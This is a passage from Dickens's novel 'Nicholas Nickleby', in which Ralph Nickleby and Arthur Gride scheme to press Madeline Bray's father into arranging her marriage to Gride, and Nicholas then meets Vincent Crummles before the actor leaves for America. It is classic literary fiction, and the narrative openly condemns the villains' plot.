+Ralph's speech, but in the tone of voice in which he uttered it, and +the looks with which he eked it out, to have fired even the ancient +usurer's cold blood and flushed even his withered cheek. But he +gave vent to no demonstration of anger, contenting himself with +exclaiming as before, 'What a man it is!' and rolling his head from +side to side, as if in unrestrained enjoyment of his freedom and +drollery. Clearly observing, however, from the expression in +Ralph's features, that he had best come to the point as speedily as +might be, he composed himself for more serious business, and entered +upon the pith and marrow of his negotiation. + +First, he dwelt upon the fact that Madeline Bray was devoted to the +support and maintenance, and was a slave to every wish, of her only +parent, who had no other friend on earth; to which Ralph rejoined +that he had heard something of the kind before, and that if she had +known a little more of the world, she wouldn't have been such a +fool. + +Secondly, he enlarged upon the character of her father, arguing, +that even taking it for granted that he loved her in return with the +utmost affection of which he was capable, yet he loved himself a +great deal better; which Ralph said it was quite unnecessary to say +anything more about, as that was very natural, and probable enough. + +And, thirdly, old Arthur premised that the girl was a delicate and +beautiful creature, and that he had really a hankering to have her +for his wife. To this Ralph deigned no other rejoinder than a harsh +smile, and a glance at the shrivelled old creature before him, which +were, however, sufficiently expressive. + +'Now,' said Gride, 'for the little plan I have in my mind to bring +this about; because, I haven't offered myself even to the father +yet, I should have told you. But that you have gathered already? +Ah! oh dear, oh dear, what an edged tool you are!' + +'Don't play with me then,' said Ralph impatiently. 'You know the +proverb.' + +'A reply always on the tip of his tongue!' cried old Arthur, raising +his hands and eyes in admiration. 'He is always prepared! Oh dear, +what a blessing to have such a ready wit, and so much ready money to +back it!' Then, suddenly changing his tone, he went on: 'I have +been backwards and forwards to Bray's lodgings several times within +the last six months. It is just half a year since I first saw this +delicate morsel, and, oh dear, what a delicate morsel it is! But +that is neither here nor there. I am his detaining creditor for +seventeen hundred pounds!' + +'You talk as if you were the only detaining creditor,' said Ralph, +pulling out his pocket-book. 'I am another for nine hundred and +seventy-five pounds four and threepence.' + +'The only other, Mr Nickleby,' said old Arthur, eagerly. 'The only +other. Nobody else went to the expense of lodging a detainer, +trusting to our holding him fast enough, I warrant you. We both +fell into the same snare; oh dear, what a pitfall it was; it almost +ruined me! And lent him our money upon bills, with only one name +besides his own, which to be sure everybody supposed to be a good +one, and was as negotiable as money, but which turned out you know +how. Just as we should have come upon him, he died insolvent. Ah! +it went very nigh to ruin me, that loss did!' + +'Go on with your scheme,' said Ralph. 'It's of no use raising the +cry of our trade just now; there's nobody to hear us!' + +'It's always as well to talk that way,' returned old Arthur, with a +chuckle, 'whether there's anybody to hear us or not. Practice makes +perfect, you know. Now, if I offer myself to Bray as his son-in- +law, upon one simple condition that the moment I am fast married he +shall be quietly released, and have an allowance to live just +t'other side the water like a gentleman (he can't live long, for I +have asked his doctor, and he declares that his complaint is one of +the Heart and it is impossible), and if all the advantages of this +condition are properly stated and dwelt upon to him, do you think he +could resist me? And if he could not resist ME, do you think his +daughter could resist HIM? Shouldn't I have her Mrs Arthur Gride-- +pretty Mrs Arthur Gride--a tit-bit--a dainty chick--shouldn't I have +her Mrs Arthur Gride in a week, a month, a day--any time I chose to +name?' + +'Go on,' said Ralph, nodding his head deliberately, and speaking in +a tone whose studied coldness presented a strange contrast to the +rapturous squeak to which his friend had gradually mounted. 'Go on. +You didn't come here to ask me that.' + +'Oh dear, how you talk!' cried old Arthur, edging himself closer +still to Ralph. 'Of course I didn't, I don't pretend I did! I came +to ask what you would take from me, if I prospered with the father, +for this debt of yours. Five shillings in the pound, six and- +eightpence, ten shillings? I WOULD go as far as ten for such a +friend as you, we have always been on such good terms, but you won't +be so hard upon me as that, I know. Now, will you?' + +'There's something more to be told,' said Ralph, as stony and +immovable as ever. + +'Yes, yes, there is, but you won't give me time,' returned Arthur +Gride. 'I want a backer in this matter; one who can talk, and urge, +and press a point, which you can do as no man can. I can't do that, +for I am a poor, timid, nervous creature. Now, if you get a good +composition for this debt, which you long ago gave up for lost, +you'll stand my friend, and help me. Won't you?' + +'There's something more,' said Ralph. + +'No, no, indeed,' cried Arthur Gride. + +'Yes, yes, indeed. I tell you yes,' said Ralph. + +'Oh!' returned old Arthur feigning to be suddenly enlightened. 'You +mean something more, as concerns myself and my intention. Ay, +surely, surely. Shall I mention that?' + +'I think you had better,' rejoined Ralph, drily. + +'I didn't like to trouble you with that, because I supposed your +interest would cease with your own concern in the affair,' said +Arthur Gride. 'That's kind of you to ask. Oh dear, how very kind +of you! Why, supposing I had a knowledge of some property--some +little property--very little--to which this pretty chick was +entitled; which nobody does or can know of at this time, but which +her husband could sweep into his pouch, if he knew as much as I do, +would that account for--' + +'For the whole proceeding,' rejoined Ralph, abruptly. 'Now, let me +turn this matter over, and consider what I ought to have if I should +help you to success.' + +'But don't be hard,' cried old Arthur, raising his hands with an +imploring gesture, and speaking, in a tremulous voice. 'Don't be +too hard upon me. It's a very small property, it is indeed. Say +the ten shillings, and we'll close the bargain. It's more than I +ought to give, but you're so kind--shall we say the ten? Do now, +do.' + +Ralph took no notice of these supplications, but sat for three or +four minutes in a brown study, looking thoughtfully at the person +from whom they proceeded. After sufficient cogitation he broke +silence, and it certainly could not be objected that he used any +needless circumlocution, or failed to speak directly to the purpose. + +'If you married this girl without me,' said Ralph, 'you must pay my +debt in full, because you couldn't set her father free otherwise. +It's plain, then, that I must have the whole amount, clear of all +deduction or incumbrance, or I should lose from being honoured with +your confidence, instead of gaining by it. That's the first article +of the treaty. For the second, I shall stipulate that for my +trouble in negotiation and persuasion, and helping you to this +fortune, I have five hundred pounds. That's very little, because you +have the ripe lips, and the clustering hair, and what not, all to +yourself. For the third and last article, I require that you +execute a bond to me, this day, binding yourself in the payment of +these two sums, before noon of the day of your marriage with +Madeline Bray. You have told me I can urge and press a point. I +press this one, and will take nothing less than these terms. Accept +them if you like. If not, marry her without me if you can. I shall +still get my debt.' + +To all entreaties, protestations, and offers of compromise between +his own proposals and those which Arthur Gride had first suggested, +Ralph was deaf as an adder. He would enter into no further +discussion of the subject, and while old Arthur dilated upon the +enormity of his demands and proposed modifications of them, +approaching by degrees nearer and nearer to the terms he resisted, +sat perfectly mute, looking with an air of quiet abstraction over +the entries and papers in his pocket-book. Finding that it was +impossible to make any impression upon his staunch friend, Arthur +Gride, who had prepared himself for some such result before he came, +consented with a heavy heart to the proposed treaty, and upon the +spot filled up the bond required (Ralph kept such instruments +handy), after exacting the condition that Mr Nickleby should +accompany him to Bray's lodgings that very hour, and open the +negotiation at once, should circumstances appear auspicious and +favourable to their designs. + +In pursuance of this last understanding the worthy gentlemen went +out together shortly afterwards, and Newman Noggs emerged, bottle in +hand, from the cupboard, out of the upper door of which, at the +imminent risk of detection, he had more than once thrust his red +nose when such parts of the subject were under discussion as +interested him most. + +'I have no appetite now,' said Newman, putting the flask in his +pocket. 'I've had MY dinner.' + +Having delivered this observation in a very grievous and doleful +tone, Newman reached the door in one long limp, and came back again +in another. + +'I don't know who she may be, or what she may be,' he said: 'but I +pity her with all my heart and soul; and I can't help her, nor can I +any of the people against whom a hundred tricks, but none so vile as +this, are plotted every day! Well, that adds to my pain, but not to +theirs. The thing is no worse because I know it, and it tortures me +as well as them. Gride and Nickleby! Good pair for a curricle. Oh +roguery! roguery! roguery!' + +With these reflections, and a very hard knock on the crown of his +unfortunate hat at each repetition of the last word, Newman Noggs, +whose brain was a little muddled by so much of the contents of the +pocket-pistol as had found their way there during his recent +concealment, went forth to seek such consolation as might be +derivable from the beef and greens of some cheap eating-house. + +Meanwhile the two plotters had betaken themselves to the same house +whither Nicholas had repaired for the first time but a few mornings +before, and having obtained access to Mr Bray, and found his +daughter from home, had by a train of the most masterly approaches +that Ralph's utmost skill could frame, at length laid open the real +object of their visit. + +'There he sits, Mr Bray,' said Ralph, as the invalid, not yet +recovered from his surprise, reclined in his chair, looking +alternately at him and Arthur Gride. 'What if he has had the ill- +fortune to be one cause of your detention in this place? I have been +another; men must live; you are too much a man of the world not to +see that in its true light. We offer the best reparation in our +power. Reparation! Here is an offer of marriage, that many a +titled father would leap at, for his child. Mr Arthur Gride, with +the fortune of a prince. Think what a haul it is!' + +'My daughter, sir,' returned Bray, haughtily, 'as I have brought her +up, would be a rich recompense for the largest fortune that a man +could bestow in exchange for her hand.' + +'Precisely what I told you,' said the artful Ralph, turning to his +friend, old Arthur. 'Precisely what made me consider the thing so +fair and easy. There is no obligation on either side. You have +money, and Miss Madeline has beauty and worth. She has youth, you +have money. She has not money, you have not youth. Tit for tat, +quits, a match of Heaven's own making!' + +'Matches are made in Heaven, they say,' added Arthur Gride, leering +hideously at the father-in-law he wanted. 'If we are married, it +will be destiny, according to that.' + +'Then think, Mr Bray,' said Ralph, hastily substituting for this +argument considerations more nearly allied to earth, 'think what a +stake is involved in the acceptance or rejection of these proposals +of my friend.' + +'How can I accept or reject,' interrupted Mr Bray, with an irritable +consciousness that it really rested with him to decide. 'It is for +my daughter to accept or reject; it is for my daughter. You know +that.' + +'True,' said Ralph, emphatically; 'but you have still the power to +advise; to state the reasons for and against; to hint a wish.' + +'To hint a wish, sir!' returned the debtor, proud and mean by turns, +and selfish at all times. 'I am her father, am I not? Why should I +hint, and beat about the bush? Do you suppose, like her mother's +friends and my enemies--a curse upon them all!--that there is +anything in what she has done for me but duty, sir, but duty? Or do +you think that my having been unfortunate is a sufficient reason why +our relative positions should be changed, and that she should +command and I should obey? Hint a wish, too! Perhaps you think, +because you see me in this place and scarcely able to leave this +chair without assistance, that I am some broken-spirited dependent +creature, without the courage or power to do what I may think best +for my own child. Still the power to hint a wish! I hope so!' + +'Pardon me,' returned Ralph, who thoroughly knew his man, and had +taken his ground accordingly; 'you do not hear me out. I was about +to say that your hinting a wish, even hinting a wish, would surely +be equivalent to commanding.' + +'Why, of course it would,' retorted Mr Bray, in an exasperated tone. +'If you don't happen to have heard of the time, sir, I tell you that +there was a time, when I carried every point in triumph against her +mother's whole family, although they had power and wealth on their +side, by my will alone.' + +'Still,' rejoined Ralph, as mildly as his nature would allow him, +'you have not heard me out. You are a man yet qualified to shine in +society, with many years of life before you; that is, if you lived +in freer air, and under brighter skies, and chose your own +companions. Gaiety is your element, you have shone in it before. +Fashion and freedom for you. France, and an annuity that would +support you there in luxury, would give you a new lease of life, +would transfer you to a new existence. The town rang with your +expensive pleasures once, and you could blaze up on a new scene again, +profiting by experience, and living a little at others' cost, +instead of letting others live at yours. What is there on the +reverse side of the picture? What is there? I don't know which is +the nearest churchyard, but a gravestone there, wherever it is, and +a date, perhaps two years hence, perhaps twenty. That's all.' + +Mr Bray rested his elbow on the arm of his chair, and shaded his +face with his hand. + +'I speak plainly,' said Ralph, sitting down beside him, 'because I +feel strongly. It's my interest that you should marry your daughter +to my friend Gride, because then he sees me paid--in part, that is. +I don't disguise it. I acknowledge it openly. But what interest +have you in recommending her to such a step? Keep that in view. +She might object, remonstrate, shed tears, talk of his being too +old, and plead that her life would be rendered miserable. But what +is it now?' + +Several slight gestures on the part of the invalid showed that these +arguments were no more lost upon him, than the smallest iota of his +demeanour was upon Ralph. + +'What is it now, I say,' pursued the wily usurer, 'or what has it a +chance of being? If you died, indeed, the people you hate would +make her happy. But can you bear the thought of that?' + +'No!' returned Bray, urged by a vindictive impulse he could not +repress. + +'I should imagine not, indeed!' said Ralph, quietly. 'If she +profits by anybody's death,' this was said in a lower tone, 'let it +be by her husband's. Don't let her have to look back to yours, as +the event from which to date a happier life. Where is the +objection? Let me hear it stated. What is it? That her suitor is +an old man? Why, how often do men of family and fortune, who +haven't your excuse, but have all the means and superfluities of +life within their reach, how often do they marry their daughters to +old men, or (worse still) to young men without heads or hearts, to +tickle some idle vanity, strengthen some family interest, or secure +some seat in Parliament! Judge for her, sir, judge for her. You +must know best, and she will live to thank you.' + +'Hush! hush!' cried Mr Bray, suddenly starting up, and covering +Ralph's mouth with his trembling hand. 'I hear her at the door!' + +There was a gleam of conscience in the shame and terror of this +hasty action, which, in one short moment, tore the thin covering of +sophistry from the cruel design, and laid it bare in all its +meanness and heartless deformity. The father fell into his chair +pale and trembling; Arthur Gride plucked and fumbled at his hat, and +durst not raise his eyes from the floor; even Ralph crouched for the +moment like a beaten hound, cowed by the presence of one young +innocent girl! + +The effect was almost as brief as sudden. Ralph was the first to +recover himself, and observing Madeline's looks of alarm, entreated +the poor girl to be composed, assuring her that there was no cause +for fear. + +'A sudden spasm,' said Ralph, glancing at Mr Bray. 'He is quite +well now.' + +It might have moved a very hard and worldly heart to see the young +and beautiful creature, whose certain misery they had been +contriving but a minute before, throw her arms about her father's +neck, and pour forth words of tender sympathy and love, the sweetest +a father's ear can know, or child's lips form. But Ralph looked +coldly on; and Arthur Gride, whose bleared eyes gloated only over +the outward beauties, and were blind to the spirit which reigned +within, evinced--a fantastic kind of warmth certainly, but not +exactly that kind of warmth of feeling which the contemplation of +virtue usually inspires. + +'Madeline,' said her father, gently disengaging himself, 'it was +nothing.' + +'But you had that spasm yesterday, and it is terrible to see you in +such pain. Can I do nothing for you?' + +'Nothing just now. Here are two gentlemen, Madeline, one of whom +you have seen before. She used to say,' added Mr Bray, addressing +Arthur Gride, 'that the sight of you always made me worse. That was +natural, knowing what she did, and only what she did, of our +connection and its results. Well, well. Perhaps she may change her +mind on that point; girls have leave to change their minds, you +know. You are very tired, my dear.' + +'I am not, indeed.' + +'Indeed you are. You do too much.' + +'I wish I could do more.' + +'I know you do, but you overtask your strength. This wretched life, +my love, of daily labour and fatigue, is more than you can bear, I +am sure it is. Poor Madeline!' + +With these and many more kind words, Mr Bray drew his daughter to +him and kissed her cheek affectionately. Ralph, watching him +sharply and closely in the meantime, made his way towards the door, +and signed to Gride to follow him. + +'You will communicate with us again?' said Ralph. + +'Yes, yes,' returned Mr Bray, hastily thrusting his daughter aside. +'In a week. Give me a week.' + +'One week,' said Ralph, turning to his companion, 'from today. +Good-morning. Miss Madeline, I kiss your hand.' + +'We will shake hands, Gride,' said Mr Bray, extending his, as old +Arthur bowed. 'You mean well, no doubt. I an bound to say so now. +If I owed you money, that was not your fault. Madeline, my love, +your hand here.' + +'Oh dear! If the young lady would condescent! Only the tips of her +fingers,' said Arthur, hesitating and half retreating. + +Madeline shrunk involuntarily from the goblin figure, but she placed +the tips of her fingers in his hand and instantly withdrew them. +After an ineffectual clutch, intended to detain and carry them to +his lips, old Arthur gave his own fingers a mumbling kiss, and with +many amorous distortions of visage went in pursuit of his friend, +who was by this time in the street. + +'What does he say, what does he say? What does the giant say to the +pigmy?' inquired Arthur Gride, hobbling up to Ralph. + +'What does the pigmy say to the giant?' rejoined Ralph, elevating +his eyebrows and looking down upon his questioner. + +'He doesn't know what to say,' replied Arthur Gride. 'He hopes and +fears. But is she not a dainty morsel?' + +'I have no great taste for beauty,' growled Ralph. + +'But I have,' rejoined Arthur, rubbing his hands. 'Oh dear! How +handsome her eyes looked when she was stooping over him! Such long +lashes, such delicate fringe! She--she--looked at me so soft.' + +'Not over-lovingly, I think,' said Ralph. 'Did she?' + +'No, you think not?' replied old Arthur. 'But don't you think it +can be brought about? Don't you think it can?' + +Ralph looked at him with a contemptuous frown, and replied with a +sneer, and between his teeth: + +'Did you mark his telling her she was tired and did too much, and +overtasked her strength?' + +'Ay, ay. What of it?' + +'When do you think he ever told her that before? The life is more +than she can bear. Yes, yes. He'll change it for her.' + +'D'ye think it's done?' inquired old Arthur, peering into his +companion's face with half-closed eyes. + +'I am sure it's done,' said Ralph. 'He is trying to deceive +himself, even before our eyes, already. He is making believe that +he thinks of her good and not his own. He is acting a virtuous +part, and so considerate and affectionate, sir, that the daughter +scarcely knew him. I saw a tear of surprise in her eye. There'll +be a few more tears of surprise there before long, though of a +different kind. Oh! we may wait with confidence for this day week.' + + + +CHAPTER 48 + +Being for the Benefit of Mr Vincent Crummles, and positively his +last Appearance on this Stage + + +It was with a very sad and heavy heart, oppressed by many painful +ideas, that Nicholas retraced his steps eastward and betook himself +to the counting-house of Cheeryble Brothers. Whatever the idle +hopes he had suffered himself to entertain, whatever the pleasant +visions which had sprung up in his mind and grouped themselves round +the fair image of Madeline Bray, they were now dispelled, and not a +vestige of their gaiety and brightness remained. + +It would be a poor compliment to Nicholas's better nature, and one +which he was very far from deserving, to insinuate that the +solution, and such a solution, of the mystery which had seemed to +surround Madeline Bray, when he was ignorant even of her name, had +damped his ardour or cooled the fervour of his admiration. If he +had regarded her before, with such a passion as young men attracted +by mere beauty and elegance may entertain, he was now conscious of +much deeper and stronger feelings. But, reverence for the truth and +purity of her heart, respect for the helplessness and loneliness of +her situation, sympathy with the trials of one so young and fair and +admiration of her great and noble spirit, all seemed to raise her +far above his reach, and, while they imparted new depth and dignity +to his love, to whisper that it was hopeless. + +'I will keep my word, as I have pledged it to her,' said Nicholas, +manfully. 'This is no common trust that I have to discharge, and I +will perform the double duty that is imposed upon me most +scrupulously and strictly. My secret feelings deserve no +consideration in such a case as this, and they shall have none.' + +Still, there were the secret feelings in existence just the same, +and in secret Nicholas rather encouraged them than otherwise; +reasoning (if he reasoned at all) that there they could do no harm +to anybody but himself, and that if he kept them to himself from a +sense of duty, he had an additional right to entertain himself with +them as a reward for his heroism. + +All these thoughts, coupled with what he had seen that morning and +the anticipation of his next visit, rendered him a very dull and +abstracted companion; so much so, indeed, that Tim Linkinwater +suspected he must have made the mistake of a figure somewhere, which +was preying upon his mind, and seriously conjured him, if such were +the case, to make a clean breast and scratch it out, rather than +have his whole life embittered by the tortures of remorse. + +But in reply to these considerate representations, and many others +both from Tim and Mr Frank, Nicholas could only be brought to state +that he was never merrier in his life; and so went on all day, and +so went towards home at night, still turning over and over again the +same subjects, thinking over and over again the same things, and +arriving over and over again at the same conclusions. + +In this pensive, wayward, and uncertain state, people are apt to +lounge and loiter without knowing why, to read placards on the walls +with great attention and without the smallest idea of one word of +their contents, and to stare most earnestly through shop-windows at +things which they don't see. It was thus that Nicholas found +himself poring with the utmost interest over a large play-bill +hanging outside a Minor Theatre which he had to pass on his way +home, and reading a list of the actors and actresses who had +promised to do honour to some approaching benefit, with as much +gravity as if it had been a catalogue of the names of those ladies +and gentlemen who stood highest upon the Book of Fate, and he had +been looking anxiously for his own. He glanced at the top of the +bill, with a smile at his own dulness, as he prepared to resume his +walk, and there saw announced, in large letters with a large space +between each of them, 'Positively the last appearance of Mr Vincent +Crummles of Provincial Celebrity!!!' + +'Nonsense!' said Nicholas, turning back again. 'It can't be.' + +But there it was. In one line by itself was an announcement of the +first night of a new melodrama; in another line by itself was an +announcement of the last six nights of an old one; a third line was +devoted to the re-engagement of the unrivalled African Knife- +swallower, who had kindly suffered himself to be prevailed upon to +forego his country engagements for one week longer; a fourth line +announced that Mr Snittle Timberry, having recovered from his late +severe indisposition, would have the honour of appearing that +evening; a fifth line said that there were 'Cheers, Tears, and +Laughter!' every night; a sixth, that that was positively the last +appearance of Mr Vincent Crummles of Provincial Celebrity. + +'Surely it must be the same man,' thought Nicholas. 'There can't be +two Vincent Crummleses.' + +The better to settle this question he referred to the bill again, +and finding that there was a Baron in the first piece, and that +Roberto (his son) was enacted by one Master Crummles, and Spaletro +(his nephew) by one Master Percy Crummles--THEIR last appearances-- +and that, incidental to the piece, was a characteristic dance by the +characters, and a castanet pas seul by the Infant Phenomenon--HER +last appearance--he no longer entertained any doubt; and presenting +himself at the stage-door, and sending in a scrap of paper with 'Mr +Johnson' written thereon in pencil, was presently conducted by a +Robber, with a very large belt and buckle round his waist, and very +large leather gauntlets on his hands, into the presence of his +former manager. + +Mr Crummles was unfeignedly glad to see him, and starting up from +before a small dressing-glass, with one very bushy eyebrow stuck on +crooked over his left eye, and the fellow eyebrow and the calf of +one of his legs in his hand, embraced him cordially; at the same +time observing, that it would do Mrs Crummles's heart good to bid +him goodbye before they went. + +'You were always a favourite of hers, Johnson,' said Crummles, +'always were from the first. I was quite easy in my mind about you +from that first day you dined with us. One that Mrs Crummles took a +fancy to, was sure to turn out right. Ah! Johnson, what a woman +that is!' + +'I am sincerely obliged to her for her kindness in this and all +other respects,' said Nicholas. 'But where are you going,' that you +talk about bidding goodbye?' + +'Haven't you seen it in the papers?' said Crummles, with some +dignity. + +'No,' replied Nicholas. + +'I wonder at that,' said the manager. 'It was among the varieties. +I had the paragraph here somewhere--but I don't know--oh, yes, here +it is.' + +So saying, Mr Crummles, after pretending that he thought he must +have lost it, produced a square inch of newspaper from the pocket of +the pantaloons he wore in private life (which, together with the +plain clothes of several other gentlemen, lay scattered about on a +kind of dresser in the room), and gave it to Nicholas to read: + +'The talented Vincent Crummles, long favourably known to fame as a +country manager and actor of no ordinary pretensions, is about to +cross the Atlantic on a histrionic expedition. Crummles is to be +accompanied, we hear, by his lady and gifted family. We know no man +superior to Crummles in his particular line of character, or one +who, whether as a public or private individual, could carry with him +the best wishes of a larger circle of friends. Crummles is certain +to succeed.' + +'Here's another bit,' said Mr Crummles, handing over a still smaller +scrap. 'This is from the notices to correspondents, this one.' + +Nicholas read it aloud. '"Philo-Dramaticus. Crummles, the country +manager and actor, cannot be more than forty-three, or forty-four +years of age. Crummles is NOT a Prussian, having been born at +Chelsea." Humph!' said Nicholas, 'that's an odd paragraph.' + +'Very,' returned Crummles, scratching the side of his nose, and +looking at Nicholas with an assumption of great unconcern. 'I can't +think who puts these things in. I didn't.' + +Still keeping his eye on Nicholas, Mr Crummles shook his head twice +or thrice with profound gravity, and remarking, that he could not +for the life of him imagine how the newspapers found out the things +they did, folded up the extracts and put them in his pocket again. + +'I am astonished to hear this news,' said Nicholas. 'Going to +America! You had no such thing in contemplation when I was with +you.' + +'No,' replied Crummles, 'I hadn't then. The fact is that Mrs +Crummles--most extraordinary woman, Johnson.' Here he broke off and +whispered something in his ear. + +'Oh!' said Nicholas, smiling. 'The prospect of an addition to your +family?' + +'The seventh addition, Johnson,' returned Mr Crummles, solemnly. 'I +thought such a child as the Phenomenon must have been a closer; but +it seems we are to have another. She is a very remarkable woman.' + +'I congratulate you,' said Nicholas, 'and I hope this may prove a +phenomenon too.' + +'Why, it's pretty sure to be something uncommon, I suppose,' +rejoined Mr Crummles. 'The talent of the other three is principally +in combat and serious pantomime. I should like this one to have a +turn for juvenile tragedy; I understand they want something of that +sort in America very much. However, we must take it as it comes. +Perhaps it may have a genius for the tight-rope. It may have any +sort of genius, in short, if it takes after its mother, Johnson, for +she is an universal genius; but, whatever its genius is, that genius +shall be developed.' + +Expressing himself after these terms, Mr Crummles put on his other +eyebrow, and the calves of his legs, and then put on his legs, which +were of a yellowish flesh-colour, and rather soiled about the knees, +from frequent going down upon those joints, in curses, prayers, last +struggles, and other strong passages. + +While the ex-manager completed his toilet, he informed Nicholas that +as he should have a fair start in America from the proceeds of a +tolerably good engagement which he had been fortunate enough to +obtain, and as he and Mrs Crummles could scarcely hope to act for +ever (not being immortal, except in the breath of Fame and in a +figurative sense) he had made up his mind to settle there +permanently, in the hope of acquiring some land of his own which +would support them in their old age, and which they could afterwards +bequeath to their children. Nicholas, having highly commended the +resolution, Mr Crummles went on to impart such further intelligence +relative to their mutual friends as he thought might prove +interesting; informing Nicholas, among other things, that Miss +Snevellicci was happily married to an affluent young wax-chandler +who had supplied the theatre with candles, and that Mr Lillyvick +didn't dare to say his soul was his own, such was the tyrannical +sway of Mrs Lillyvick, who reigned paramount and supreme. + +Nicholas responded to this confidence on the part of Mr Crummles, by +confiding to him his own name, situation, and prospects, and +informing him, in as few general words as he could, of the +circumstances which had led to their first acquaintance. After +congratulating him with great heartiness on the improved state of +his fortunes, Mr Crummles gave him to understand that next morning +he and his were to start for Liverpool, where the vessel lay which +was to carry them from the shores of England, and that if Nicholas +wished to take a last adieu of Mrs Crummles, he must repair with him +that night to a farewell supper, given in honour of the family at a +neighbouring tavern; at which Mr Snittle Timberry would preside, +while the honours of the vice-chair would be sustained by the +African Swallower. + +The room being by this time very warm and somewhat crowded, in +consequence of the influx of four gentlemen, who had just killed +each other in the piece under representation, Nicholas accepted the +invitation, and promised to return at the conclusion of the +performances; preferring the cool air and twilight out of doors to +the mingled perfume of gas, orange-peel, and gunpowder, which +pervaded the hot and glaring theatre. + +He availed himself of this interval to buy a silver snuff-box--the +best his funds would afford--as a token of remembrance for Mr +Crummles, and having purchased besides a pair of ear-rings for Mrs +Crummles, a necklace for the Phenomenon, and a flaming shirt-pin for +each of the young gentlemen, he refreshed himself with a walk, and +returning a little after the appointed time, found the lights out, +the theatre empty, the curtain raised for the night, and Mr Crummles +walking up and down the stage expecting his arrival. + +'Timberry won't be long,' said Mr Crummles. 'He played the audience +out tonight. He does a faithful black in the last piece, and it +takes him a little longer to wash himself.' + +'A very unpleasant line of character, I should think?' said +Nicholas. + +'No, I don't know,' replied Mr Crummles; 'it comes off easily +enough, and there's only the face and neck. We had a first-tragedy +man in our company once, who, when he played Othello, used to black +himself all over. But that's feeling a part and going into it as if +you meant it; it isn't usual; more's the pity.' + +Mr Snittle Timberry now appeared, arm-in-arm with the African +Swallower, and, being introduced to Nicholas, raised his hat half a +foot, and said he was proud to know him. The Swallower said the +same, and looked and spoke remarkably like an Irishman. + +'I see by the bills that you have been ill, sir,' said Nicholas to +Mr Timberry. 'I hope you are none the worse for your exertions +tonight?' + +Mr Timberry, in reply, shook his head with a gloomy air, tapped his +chest several times with great significancy, and drawing his cloak +more closely about him, said, 'But no matter, no matter. Come!' + +It is observable that when people upon the stage are in any strait +involving the very last extremity of weakness and exhaustion, they +invariably perform feats of strength requiring great ingenuity and +muscular power. Thus, a wounded prince or bandit chief, who is +bleeding to death and too faint to move, except to the softest music +(and then only upon his hands and knees), shall be seen to approach +a cottage door for aid in such a series of writhings and twistings, +and with such curlings up of the legs, and such rollings over and +over, and such gettings up and tumblings down again, as could never +be achieved save by a very strong man skilled in posture-making. +And so natural did this sort of performance come to Mr Snittle +Timberry, that on their way out of the theatre and towards the +tavern where the supper was to be holden, he testified the severity +of his recent indisposition and its wasting effects upon the nervous +system, by a series of gymnastic performances which were the +admiration of all witnesses. + +'Why this is indeed a joy I had not looked for!' said Mrs Crummles, +when Nicholas was presented. + +'Nor I,' replied Nicholas. 'It is by a mere chance that I have this +opportunity of seeing you, although I would have made a great +exertion to have availed myself of it.' + +'Here is one whom you know,' said Mrs Crummles, thrusting forward +the Phenomenon in a blue gauze frock, extensively flounced, and +trousers of the same; 'and here another--and another,' presenting +the Master Crummleses. 'And how is your friend, the faithful +Digby?' + +'Digby!' said Nicholas, forgetting at the instant that this had been +Smike's theatrical name. 'Oh yes. He's quite--what am I saying?-- +he is very far from well.' + +'How!' exclaimed Mrs Crummles, with a tragic recoil. + +'I fear,' said Nicholas, shaking his head, and making an attempt to +smile, 'that your better-half would be more struck with him now than +ever.' + +'What mean you?' rejoined Mrs Crummles, in her most popular manner. +'Whence comes this altered tone?' + +'I mean that a dastardly enemy of mine has struck at me through him, +and that while he thinks to torture me, he inflicts on him such +agonies of terror and suspense as--You will excuse me, I am sure,' +said Nicholas, checking himself. 'I should never speak of this, and +never do, except to those who know the facts, but for a moment I +forgot myself.' + +With this hasty apology Nicholas stooped down to salute the +Phenomenon, and changed the subject; inwardly cursing his +precipitation, and very much wondering what Mrs Crummles must think +of so sudden an explosion. + +That lady seemed to think very little about it, for the supper being +by this time on table, she gave her hand to Nicholas and repaired +with a stately step to the left hand of Mr Snittle Timberry. +Nicholas had the honour to support her, and Mr Crummles was placed +upon the chairman's right; the Phenomenon and the Master Crummleses +sustained the vice. + +The company amounted in number to some twenty-five or thirty, being +composed of such members of the theatrical profession, then engaged +or disengaged in London, as were numbered among the most intimate +friends of Mr and Mrs Crummles. The ladies and gentlemen were +pretty equally balanced; the expenses of the entertainment being +defrayed by the latter, each of whom had the privilege of inviting +one of the former as his guest. + +It was upon the whole a very distinguished party, for independently +of the lesser theatrical lights who clustered on this occasion round +Mr Snittle Timberry, there was a literary gentleman present who had +dramatised in his time two hundred and forty-seven novels as fast as +they had come out--some of them faster than they had come out--and +who WAS a literary gentleman in consequence. + +This gentleman sat on the left hand of Nicholas, to whom he was +introduced by his friend the African Swallower, from the bottom of +the table, with a high eulogium upon his fame and reputation. + +'I am happy to know a gentleman of such great distinction,' said +Nicholas, politely. + +'Sir,' replied the wit, 'you're very welcome, I'm sure. The honour +is reciprocal, sir, as I usually say when I dramatise a book. Did +you ever hear a definition of fame, sir?' + +'I have heard several,' replied Nicholas, with a smile. 'What is +yours?' + +'When I dramatise a book, sir,' said the literary gentleman, 'THAT'S +fame. For its author.' + +'Oh, indeed!' rejoined Nicholas. + +'That's fame, sir,' said the literary gentleman. + +'So Richard Turpin, Tom King, and Jerry Abershaw have handed down to +fame the names of those on whom they committed their most impudent +robberies?' said Nicholas. + +'I don't know anything about that, sir,' answered the literary +gentleman. + +'Shakespeare dramatised stories which had previously appeared in +print, it is true,' observed Nicholas. + +'Meaning Bill, sir?' said the literary gentleman. 'So he did. Bill +was an adapter, certainly, so he was--and very well he adapted too-- +considering.' + +'I was about to say,' rejoined Nicholas, 'that Shakespeare derived +some of his plots from old tales and legends in general circulation; +but it seems to me, that some of the gentlemen of your craft, at the +present day, have shot very far beyond him--' + +'You're quite right, sir,' interrupted the literary gentleman, +leaning back in his chair and exercising his toothpick. 'Human +intellect, sir, has progressed since his time, is progressing, will +progress.' + +'Shot beyond him, I mean,' resumed Nicholas, 'in quite another +respect, for, whereas he brought within the magic circle of his +genius, traditions peculiarly adapted for his purpose, and turned +familiar things into constellations which should enlighten the world +for ages, you drag within the magic circle of your dulness, subjects +not at all adapted to the purposes of the stage, and debase as he +exalted. For instance, you take the uncompleted books of living +authors, fresh from their hands, wet from the press, cut, hack, and +carve them to the powers and capacities of your actors, and the +capability of your theatres, finish unfinished works, hastily and +crudely vamp up ideas not yet worked out by their original +projector, but which have doubtless cost him many thoughtful days +and sleepless nights; by a comparison of incidents and dialogue, +down to the very last word he may have written a fortnight before, +do your utmost to anticipate his plot--all this without his +permission, and against his will; and then, to crown the whole +proceeding, publish in some mean pamphlet, an 